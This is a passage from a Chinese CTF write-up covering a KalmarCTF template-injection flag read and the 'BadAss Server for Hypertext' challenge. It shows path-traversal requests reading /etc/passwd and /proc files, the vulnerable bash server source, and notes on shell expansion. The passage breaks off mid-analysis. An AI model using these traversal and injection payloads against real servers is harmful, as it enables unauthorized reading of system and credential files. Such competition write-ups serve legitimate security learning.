<code>CVGjuzCIVR99QNpJTLtBn9</code></p><p>然后再修改UA为<code>&#123;&#123;readFile "/CVGjuzCIVR99QNpJTLtBn9"&#125;&#125;</code>，最后成功获取flag：</p><p><code>kalmar&#123;Y0_d4wg_I_h3rd_y0u_l1k3_templates_s0_I_put_4n_template_1n_y0ur_template_s0_y0u_c4n_readFile_wh1le_y0u_executeTemplate&#125;</code></p><h2 id="BadAss-Server-for-Hypertext"><a href="#BadAss-Server-for-Hypertext" class="headerlink" title="BadAss Server for Hypertext"></a>BadAss Server for Hypertext</h2><p><em><strong>强悍的超文本服务器</strong></em></p><h3 id="题目描述-1"><a href="#题目描述-1" class="headerlink" title="题目描述"></a>题目描述</h3><blockquote><p>I wrote my own HTTP server. I have to admit: the code is a bit cursed, but it works! So no problem, right?</p><p><em>我自己写了一个HTTP服务器。我必须承认：代码有点诡异，但是它能正常工作！所以没问题，对吗？</em></p></blockquote><h3 id="前置知识"><a href="#前置知识" class="headerlink" title="前置知识"></a>前置知识</h3><ul><li><code>/proc</code>目录以及子目录的功能及其作用</li><li>shell语言</li><li>通配符</li></ul><h3 id="解题思路-1"><a href="#解题思路-1" class="headerlink" title="解题思路"></a>解题思路</h3><p>这是一个<strong>黑盒测试</strong>，点击题目链接后发现就一个按钮可以交互</p><p><img src="/posts/fbcd83ad/image-20240324151813152.png" alt="image-20240324151813152"></p><p>点击这个按钮，跳转到<code>http://chal-kalmarc.tf:8080/assets/26c3f25922f71af3372ac65a75cd3b11/iceberg.jpg</code>，没用任何信息。查看初始页面的源码发现被隐藏了另一个按钮</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">&lt;!-- &lt;a href=&quot;assets/f200d055a267ae56160198e0fcb47e5f/try_harder.txt&quot;&gt;</span><br><span class="line">&lt;button&gt;Get the flag&lt;/button&gt;</span><br><span class="line">&lt;/a&gt; --&gt;</span><br></pre></td></tr></table></figure><p>再次点进去，发现就一句话：<code>Did you think it was this easy? Nah, this isn&#39;t the flag.</code></p><p>也没什么实际的价值点（<del>其实后面这两个东东会被利用到</del>），然后就是无头无脑的不断尝试了<code>robots.txt</code>、抓包再发包</p><p>这个过程中发现了一个比较有趣的，响应头中存在这样一个键值：<code>X-Powered-By: Bash</code>，shell语言做后端？？</p><p>发现随便输入一个内容到url后<strong>如果不存在</strong>会输出为：<code>cat: /app/static/1: No such file or directory</code>，可以大胆推测后端为shell语言了</p><p>然后我就开始怀疑是不是有<strong>目录创越的漏洞</strong>存在了，拦截请求包转到BP进行改包（浏览器的url中直接输入<code>..</code>会被删除，而并不会直接传会后端）将url修改为<code>/../../../../../etc/passwd</code>,返回包中出现了<code>passwd</code>中对应的内容</p><p><img src="/posts/fbcd83ad/image-20240324153600061.png" alt="image-20240324153600061"></p><h4 id="逻辑漏洞1："><a href="#逻辑漏洞1：" class="headerlink" title="逻辑漏洞1："></a>逻辑漏洞1：</h4><p>发现<strong>目录穿越漏洞确实存在</strong>，可以尝试直接读一下<code>/flag</code>发现根目录下不存在<code>flag</code>文件，那就只能进<code>/proc</code>目录找找对应的进程和运行目录了，一般读取<code>1</code>进程（一般赛题docker中最初的线程号为1）和<code>self</code>进程（当前指令所属的进程），一通乱尝试<code>cmdline</code>、<code>environ</code>、<code>status</code>等等发现了一些有用的东西</p><p>在<code>/../../../../../proc/1/cmdline</code>尝试读取后端的运行程序</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">HTTP/1.0 200 OK</span><br><span class="line">Content-Type: inode/x-empty</span><br><span class="line">X-Powered-By: Bash</span><br><span class="line">Content-Length: 0</span><br><span class="line">Connection: close</span><br><span class="line"></span><br><span class="line">socat TCP4-LISTEN:8080,reuseaddr,fork EXEC:/app/badass_server.sh</span><br></pre></td></tr></table></figure><p>此时我们可以找到我们的后端所属的脚本文件，我们再将它读取出来，尝试看看源码中是否存在漏洞。读取到的源码为：</p><figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#!/bin/bash</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># I hope there are no bugs in this source code...</span></span><br><span class="line"></span><br><span class="line"><span class="built_in">set</span> -e</span><br><span class="line"></span><br><span class="line"><span class="built_in">declare</span> -A request_headers</span><br><span class="line"><span class="built_in">declare</span> -A response_headers</span><br><span class="line"><span class="built_in">declare</span> method</span><br><span class="line"><span class="built_in">declare</span> uri</span><br><span class="line"><span class="built_in">declare</span> protocol</span><br><span class="line"><span class="built_in">declare</span> request_body</span><br><span class="line"><span class="built_in">declare</span> status=<span class="string">&quot;200 OK&quot;</span></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="title">abort</span></span>() &#123;</span><br><span class="line"><span class="built_in">declare</span> -gA response_headers</span><br><span class="line">status=<span class="string">&quot;400 Bad Request&quot;</span></span><br><span class="line">write_headers</span><br><span class="line"><span class="keyword">if</span> [ ! -z <span class="variable">$&#123;1+x&#125;</span> ]; <span class="keyword">then</span></span><br><span class="line">&gt;&amp;2 <span class="built_in">echo</span> <span class="string">&quot;Request aborted: <span class="variable">$1</span>&quot;</span></span><br><span class="line"><span class="built_in">echo</span> -en <span class="variable">$1</span></span><br><span class="line"><span class="keyword">fi</span></span><br><span class="line"><span class="built_in">exit</span> 1</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="title">write_headers</span></span>() &#123;</span><br><span class="line">response_headers[<span class="string">&#x27;Connection&#x27;</span>]=<span class="string">&#x27;close&#x27;</span></span><br><span class="line">response_headers[<span class="string">&#x27;X-Powered-By&#x27;</span>]=<span class="string">&#x27;Bash&#x27;</span></span><br><span class="line"></span><br><span class="line"><span class="built_in">echo</span> -en <span class="string">&quot;HTTP/1.0 <span class="variable">$status</span>\r\n&quot;</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">for</span> key <span class="keyword">in</span> <span class="string">&quot;<span class="variable">$&#123;!response_headers[@]&#125;</span>&quot;</span>; <span class="keyword">do</span></span><br><span class="line"><span class="built_in">echo</span> -en <span class="string">&quot;<span class="variable">$&#123;key&#125;</span>: <span class="variable">$&#123;response_headers[$key]&#125;</span>\r\n&quot;</span></span><br><span class="line"><span class="keyword">done</span></span><br><span class="line"></span><br><span class="line"><span class="built_in">echo</span> -en <span class="string">&#x27;\r\n&#x27;</span></span><br><span class="line"></span><br><span class="line">&gt;&amp;2 <span class="built_in">echo</span> <span class="string">&quot;<span class="subst">$(date -u +&#x27;%Y-%m-%dT%H:%M:%SZ&#x27;)</span> <span class="variable">$SOCAT_PEERADDR</span> <span class="variable">$method</span> <span class="variable">$uri</span> <span class="variable">$protocol</span> -&gt; <span class="variable">$status</span>&quot;</span></span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="title">receive_request</span></span>() &#123;</span><br><span class="line"><span class="built_in">read</span> -d $<span class="string">&#x27;\n&#x27;</span> -a request_line</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> [ <span class="variable">$&#123;#request_line[@]&#125;</span> != 3 ]; <span class="keyword">then</span></span><br><span class="line">abort <span class="string">&quot;Invalid request line&quot;</span></span><br><span class="line"><span class="keyword">fi</span></span><br><span class="line"></span><br><span class="line">method=<span class="variable">$&#123;request_line[0]&#125;</span></span><br><span class="line"></span><br><span class="line">uri=<span class="variable">$&#123;request_line[1]&#125;</span></span><br><span class="line"></span><br><span class="line">protocol=$(<span class="built_in">echo</span> -n <span class="string">&quot;<span class="variable">$&#123;request_line[2]&#125;</span>&quot;</span> | sed <span class="string">&#x27;s/^\s*//g&#x27;</span> | sed <span class="string">&#x27;s/\s*$//g&#x27;</span>)</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> [[ ! <span class="variable">$method</span> =~ ^(GET|HEAD)$ ]]; <span class="keyword">then</span></span><br><span class="line">abort <span class="string">&quot;Invalid request method&quot;</span></span><br><span class="line"><span class="keyword">fi</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> [[ ! <span class="variable">$uri</span> =~ ^/ ]]; <span class="keyword">then</span></span><br><span class="line">abort <span class="string">&#x27;Invalid URI&#x27;</span></span><br><span class="line"><span class="keyword">fi</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> [ <span class="variable">$protocol</span> != <span class="string">&#x27;HTTP/1.0&#x27;</span> ] &amp;&amp; [ <span class="variable">$protocol</span> != <span class="string">&#x27;HTTP/1.1&#x27;</span> ]; <span class="keyword">then</span></span><br><span class="line">abort <span class="string">&#x27;Invalid protocol&#x27;</span></span><br><span class="line"><span class="keyword">fi</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">while</span> <span class="built_in">read</span> -d $<span class="string">&#x27;\n&#x27;</span> header; <span class="keyword">do</span></span><br><span class="line">stripped_header=$(<span class="built_in">echo</span> -n <span class="string">&quot;<span class="variable">$header</span>&quot;</span> | sed <span class="string">&#x27;s/^\s*//g&#x27;</span> | sed <span class="string">&#x27;s/\s*$//g&#x27;</span>)</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> [ -z <span class="string">&quot;<span class="variable">$stripped_header</span>&quot;</span> ]; <span class="keyword">then</span></span><br><span class="line"><span class="built_in">break</span>;</span><br><span class="line"><span class="keyword">fi</span></span><br><span class="line"></span><br><span class="line">header_name=$(<span class="built_in">echo</span> -n <span class="string">&quot;<span class="variable">$header</span>&quot;</span> | <span class="built_in">cut</span> -d <span class="string">&#x27;:&#x27;</span> -f 1 | sed <span class="string">&#x27;s/^\s*//g&#x27;</span> | sed <span class="string">&#x27;s/\s*$//g&#x27;</span> | <span class="built_in">tr</span> <span class="string">&#x27;[:upper:]&#x27;</span> <span class="string">&#x27;[:lower:]&#x27;</span>);</span><br><span class="line">header_value=$(<span class="built_in">echo</span> -n <span class="string">&quot;<span class="variable">$header</span>&quot;</span> | <span class="built_in">cut</span> -d <span class="string">&#x27;:&#x27;</span> -f 2- | sed <span class="string">&#x27;s/^\s*//g&#x27;</span> | sed <span class="string">&#x27;s/\s*$//g&#x27;</span>);</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> [ -z <span class="string">&quot;<span class="variable">$header_name</span>&quot;</span> ] || [[ <span class="string">&quot;<span class="variable">$header_name</span>&quot;</span> =~ [[:space:]] ]]; <span class="keyword">then</span></span><br><span class="line">abort <span class="string">&quot;Invalid header name&quot;</span>;</span><br><span class="line"><span class="keyword">fi</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># If header already exists, add value to comma separated list</span></span><br><span class="line"><span class="keyword">if</span> [[ -v request_headers[<span class="variable">$header_name</span>] ]]; <span class="keyword">then</span></span><br><span class="line">request_headers[<span class="variable">$header_name</span>]=<span class="string">&quot;<span class="variable">$&#123;request_headers[$header_name]&#125;</span>, <span class="variable">$header_value</span>&quot;</span></span><br><span class="line"><span class="keyword">else</span></span><br><span class="line">request_headers[<span class="variable">$header_name</span>]=<span class="string">&quot;<span class="variable">$header_value</span>&quot;</span></span><br><span class="line"><span class="keyword">fi</span></span><br><span class="line"><span class="keyword">done</span></span><br><span class="line"></span><br><span class="line">body_length=<span class="variable">$&#123;request_headers[&quot;content-length&quot;]:-0&#125;</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> [[ ! <span class="variable">$body_length</span> =~ ^[0-9]+$ ]]; <span class="keyword">then</span></span><br><span class="line">abort <span class="string">&quot;Invalid Content-Length&quot;</span></span><br><span class="line"><span class="keyword">fi</span></span><br><span class="line"></span><br><span class="line"><span class="built_in">read</span> -N <span class="variable">$body_length</span> request_body</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="title">handle_request</span></span>() &#123;</span><br><span class="line"><span class="comment"># Default: serve from static directory</span></span><br><span class="line">path=<span class="string">&quot;/app/static<span class="variable">$uri</span>&quot;</span></span><br><span class="line">path_last_character=$(<span class="built_in">echo</span> -n <span class="string">&quot;<span class="variable">$path</span>&quot;</span> | <span class="built_in">tail</span> -c 1)</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> [ <span class="string">&quot;<span class="variable">$path_last_character</span>&quot;</span> == <span class="string">&#x27;/&#x27;</span> ]; <span class="keyword">then</span></span><br><span class="line">path=<span class="string">&quot;<span class="variable">$&#123;path&#125;</span>index.html&quot;</span></span><br><span class="line"><span class="keyword">fi</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> ! <span class="built_in">cat</span> <span class="string">&quot;<span class="variable">$path</span>&quot;</span> &gt; /dev/null; <span class="keyword">then</span></span><br><span class="line">status=<span class="string">&quot;404 Not Found&quot;</span></span><br><span class="line"><span class="keyword">else</span></span><br><span class="line">mime_type=$(file --mime-type -b <span class="string">&quot;<span class="variable">$path</span>&quot;</span>)</span><br><span class="line">file_size=$(<span class="built_in">stat</span> --<span class="built_in">printf</span>=<span class="string">&quot;%s&quot;</span> <span class="string">&quot;<span class="variable">$path</span>&quot;</span>)</span><br><span class="line"></span><br><span class="line">response_headers[<span class="string">&quot;Content-Type&quot;</span>]=<span class="string">&quot;<span class="variable">$mime_type</span>&quot;</span></span><br><span class="line">response_headers[<span class="string">&quot;Content-Length&quot;</span>]=<span class="string">&quot;<span class="variable">$file_size</span>&quot;</span></span><br><span class="line"><span class="keyword">fi</span></span><br><span class="line"></span><br><span class="line">write_headers</span><br><span class="line"></span><br><span class="line"><span class="built_in">cat</span> <span class="string">&quot;<span class="variable">$path</span>&quot;</span> 2&gt;&amp;1</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">receive_request</span><br><span class="line">handle_request</span><br></pre></td></tr></table></figure><p>由于是shell语言这里我想到了一些shell中的一些骚操作例如：</p> <figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">$&#123;变量名&#125;  #会将变量的值进行拓展出来</span><br><span class="line">$(命令)  #会执行（）中的命令</span><br><span class="line">`命令`  #会执行` `中的命令</span><br></pre></td></tr></table></figure><details class="tag-plugin colorful folding" ><summary><p>open , 拓展：shell语言中的部分特性</p></summary><div class="body"><p><strong>特性1：展开</strong></p> <p>按照展开顺序分为：</p> <ol> <li>花括号展开（Brace Expansion）：<br>花括号展开可以用来生成一系列具有相似结构的字符串。例如，使用花括号展开可以生成一组文件名或者一组命令参数。</li> </ol> <p>示例：</p> <figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">$ echo &#123;a,b,c&#125;</span><br><span class="line">a b c</span><br><span class="line"></span><br><span class="line">$ echo file&#123;1..3&#125;.txt</span><br><span class="line">file1.txt file2.txt file3.txt</span><br></pre></td></tr></table></figure>  <ol start="2"> <li>波浪线展开（Tilde Expansion）：<br>波浪线展开用于扩展波浪线后面的特殊字符，通常用于表示用户的主目录路径。</li> </ol> <p>示例：</p> <figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">$ echo ~</span><br><span class="line">/home/username</span><br><span class="line"></span><br><span class="line">$ echo ~/Documents</span><br><span class="line">/home/username/Documents</span><br></pre></td></tr></table></figure>  <ol start="3"> <li>参数，变量，算术展开和命令替换：<br>参数展开用于访问脚本或函数的参数，变量展开用于展开变量的值，算术展开用于进行数学运算，而命令替换用于将命令的输出作为展开结果。</li> </ol> <p>示例：</p> <figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">$ echo $HOME</span><br><span class="line">/home/username</span><br><span class="line"></span><br><span class="line">$ echo $((2 + 2))</span><br><span class="line">4</span><br><span class="line"></span><br><span class="line">$ echo $(ls)</span><br><span class="line">file1.txt file2.txt file3.txt</span><br></pre></td></tr></table></figure>  <ol start="4"> <li>单词分割（Word Splitting）：<br>单词分割用于将字符串按照特定的分隔符进行拆分，常见的分隔符包括空格、制表符和换行符。</li> </ol> <p>示例：</p> <figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">$ string=&quot;Hello World&quot;</span><br><span class="line">$ echo $string</span><br><span class="line">Hello World</span><br><span class="line"></span><br><span class="line">$ for word in $string; do echo $word; done</span><br><span class="line">Hello</span><br><span class="line">World</span><br></pre></td></tr></table></figure>  <ol start="5"> <li>文件名展开（Filename Expansion）：<br>文件名展开用于匹配文件系统中的文件名模式，常见的通配符包括星号（*）和问号（?）。</li> </ol> <p>示例：</p> <figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">$ ls *.txt</span><br><span class="line">file1.txt file2.txt file3.txt</span><br><span class="line"></span><br><span class="line">$ rm file?.txt</span><br></pre></td></tr></table></figure>    <p><strong>特性2：单双引号的区别</strong></p> <ul> <li><p>单引号：</p> <p>使用单引号，单引号中的内容一律被视为字符串，不进行转义，无法被扩展，<code>${}</code>、<code>$()</code>、反引号、<code>通配符</code>无法被使用</p> <p>例如：</p> <figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">root@ubuntu:/home/ubuntu/Desktop# echo /*</span><br><span class="line">/app /bin /boot /cdrom /dev /etc /home /lib /lib32 /lib64 /libx32 /lost+found /media /mnt /opt /proc /root /run /sbin /snap /srv /swapfile /sys /tmp /usr /var</span><br><span class="line"></span><br><span class="line">#通配符不会展开</span><br><span class="line">root@ubuntu:/home/ubuntu/Desktop# echo &#x27;/*&#x27;</span><br><span class="line">/*</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">root@ubuntu:/home/ubuntu/Desktop# echo &#x27;$(date)&#x27;</span><br><span class="line">$(date)</span><br></pre></td></tr></table></figure> </li> <li><p>双引号：</p> <ul> <li><strong>变量展开</strong>：双引号内的变量会被展开，即变量的值会替换变量本身。</li> <li><strong>命令替换</strong>：双引号内的命令替换（使用<code>$()</code>或反引号&#96;&#96;）会被执行，其输出会替换命令本身。</li> <li><strong>通配符不会展开</strong>：双引号内的通配符（如<code>*</code>、<code>?</code>等）不会被作为通配符处理，而是作为普通字符。</li> <li><strong>转义字符</strong>：某些特殊字符（如<code>$</code>、<code>反引号</code>、<code>\</code>）可以通过反斜线进行转义以表示其字面意义。</li> </ul> <p>例如：</p> <figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line">#变量展开</span><br><span class="line">root@ubuntu:/home/ubuntu/Desktop# path=&quot;*&quot;</span><br><span class="line">root@ubuntu:/home/ubuntu/Desktop# echo &quot;$&#123;path&#125;&quot;</span><br><span class="line">*</span><br><span class="line"></span><br><span class="line">#命令替换</span><br><span class="line">root@ubuntu:/home/ubuntu/Desktop# echo &quot;$(date)&quot;</span><br><span class="line">2024年 03月 24日 星期日 16:55:37 CST</span><br><span class="line"></span><br><span class="line">#通配符不会展开</span><br><span class="line">root@ubuntu:/home/ubuntu/Desktop# echo &quot;*&quot;</span><br><span class="line">*</span><br></pre></td></tr></table></figure></li> </ul> <p><strong>特性3：变量展开后的字符串</strong></p> <p>1.进行变量展开后，通配符不受 <strong>展开前单双引号性质的影响</strong></p> <blockquote> <p>​只要最后使用变量时，最外层不存在<code>&quot;&quot;</code>即可展开</p> </blockquote> <p>例如</p> <figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta prompt_">#</span><span class="language-bash">test1</span></span><br><span class="line">path=&#x27;*&#x27;</span><br><span class="line">path_after=&quot;./*&quot;</span><br><span class="line">echo $path_after #变量替换后，最外层也无&quot;&quot;的影响，此时通配符*可被展开</span><br><span class="line"><span class="meta prompt_">#</span><span class="language-bash">输出结果：./badass_server.sh ./character1.sh ./character2.sh</span></span><br><span class="line"><span class="meta prompt_"></span></span><br><span class="line"><span class="meta prompt_">#</span><span class="language-bash">test2</span></span><br><span class="line">path=&#x27;*&#x27;</span><br><span class="line">path_after=&quot;./$path&quot;</span><br><span class="line">echo ”$path_after“ #变量替换后，最外层存在&quot;&quot;的影响，通配符无法展开</span><br><span class="line"><span class="meta prompt_">#</span><span class="language-bash">输出结果： ./*</span></span><br></pre></td></tr></table></figure>    <p>2.进行变量展开后，变量展开、命令替换<strong>受最开始赋值时的单双引号影响</strong></p> <blockquote> <p>​若最开始时使用单引号，无论最后使用变量时，最外层存不存在引号，都无法被展开</p> </blockquote> <p>例如：</p> <figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta prompt_">#</span><span class="language-bash">test1</span></span><br><span class="line">path=&#x27;$(date)&#x27;</span><br><span class="line">path_after=&quot;./$path&quot;</span><br><span class="line">echo $path_after</span><br><span class="line">path_after_after=$path_after</span><br><span class="line">echo $path_after_after</span><br><span class="line"><span class="meta prompt_"># </span><span class="language-bash">输出结果：</span></span><br><span class="line"><span class="meta prompt_"># </span><span class="language-bash">./$(<span class="built_in">date</span>)</span></span><br><span class="line"><span class="meta prompt_"># </span><span class="language-bash">./$(<span class="built_in">date</span>)</span></span><br><span class="line"><span class="meta prompt_"></span></span><br><span class="line"><span class="meta prompt_">#</span><span class="language-bash">test2</span></span><br><span class="line">data= date</span><br><span class="line">echo $data</span><br><span class="line">path=&#x27;$&#123;data&#125;&#x27;</span><br><span class="line">path_after=&quot;./$path&quot;</span><br><span class="line">echo $path_after</span><br><span class="line">path_after_after=$path_after</span><br><span class="line">echo $path_after_after</span><br><span class="line"><span class="meta prompt_"># </span><span class="language-bash">输出结果：</span></span><br><span class="line"><span class="meta prompt_"># </span><span class="language-bash">Sun Mar 24 21:29:51     2024</span></span><br><span class="line"><span class="meta prompt_"># </span><span class="language-bash">./<span class="variable">$&#123;data&#125;</span></span></span><br><span class="line"><span class="meta prompt_"># </span><span class="language-bash">./<span class="variable">$&#123;data&#125;</span></span></span><br></pre></td></tr></table></figure> </div></details><p>但经过尝试，发现无法通过控制<code>$path</code>这个值变为<code>$&#123;&#125;</code>使最后的cat返回<strong>命令替换的结果</strong></p><p>预想结果（可以通过cat的报错获取信息，如果这种办法可行剩下的只是空格的绕过）：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">root@ubuntu:/home/ubuntu/Desktop# url=$(ls)</span><br><span class="line">root@ubuntu:/home/ubuntu/Desktop# path=&quot;app/static/$url&quot;</span><br><span class="line">root@ubuntu:/home/ubuntu/Desktop# cat &quot;$path&quot;</span><br><span class="line">cat: &#x27;app/static/1.sh&#x27;$&#x27;\n&#x27;&#x27;2&#x27;: 没有那个文件或目录</span><br></pre></td></tr></table></figure><p>实际结果</p><p><img src="/posts/fbcd83ad/image-20240324193741286.png" alt="image-20240324193741286"></p><details class="tag-plugin colorful folding" ><summary><p>open , 拓展：shell语言中的部分特性</p></summary><div class="body"><p><strong>特性4：read命令处理字符串</strong></p> <p>使用read命令来读取输入的字符串时，所读取的字符串相当于被单引号包围，具有单引号包裹的字符串的特点</p> <ul> <li><strong>变量不展开</strong>：单引号内的内容都会被当作普通字符串处理，包括变量，它们不会被展开。</li> <li><strong>命令不替换</strong>：单引号内的命令不会被执行，即使使用<code>$()</code>或反引号&#96;&#96;。</li> <li><strong>通配符不展开</strong>：单引号内的通配符同样不会被展开，被视为普通文本。</li> <li><strong>转义字符不工作</strong>：单引号内几乎所有的字符都被视为普通字符，包括反斜线（<code>\</code>），它不具有转义功能。</li> </ul> <p>例如：</p> <figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta prompt_">#</span><span class="language-bash">test1</span></span><br><span class="line">read -d $&#x27;\n&#x27; -a request_line</span><br><span class="line">method=$&#123;request_line[0]&#125;</span><br><span class="line">echo $method</span><br><span class="line"><span class="meta prompt_">#</span><span class="language-bash">输入：$(<span class="built_in">ls</span>) $(<span class="built_in">ls</span>) $(<span class="built_in">ls</span>)</span></span><br><span class="line"><span class="meta prompt_">#</span><span class="language-bash">输出：$(<span class="built_in">ls</span>)</span></span><br><span class="line"><span class="meta prompt_"></span></span><br><span class="line"><span class="meta prompt_"></span></span><br><span class="line"><span class="meta prompt_">#</span><span class="language-bash">test2</span></span><br><span class="line">request_line=(&quot;$(ls)&quot; &quot;$(ls)&quot;)</span><br><span class="line">method=$&#123;request_line[0]&#125;</span><br><span class="line">echo $method</span><br><span class="line"><span class="meta prompt_">#</span><span class="language-bash">输出：badass_server.sh bash.md</span></span><br></pre></td></tr></table></figure> </div></details><p>此时发现我们可控点只剩下<code>$protocol</code>变量</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">protocol=$(echo -n 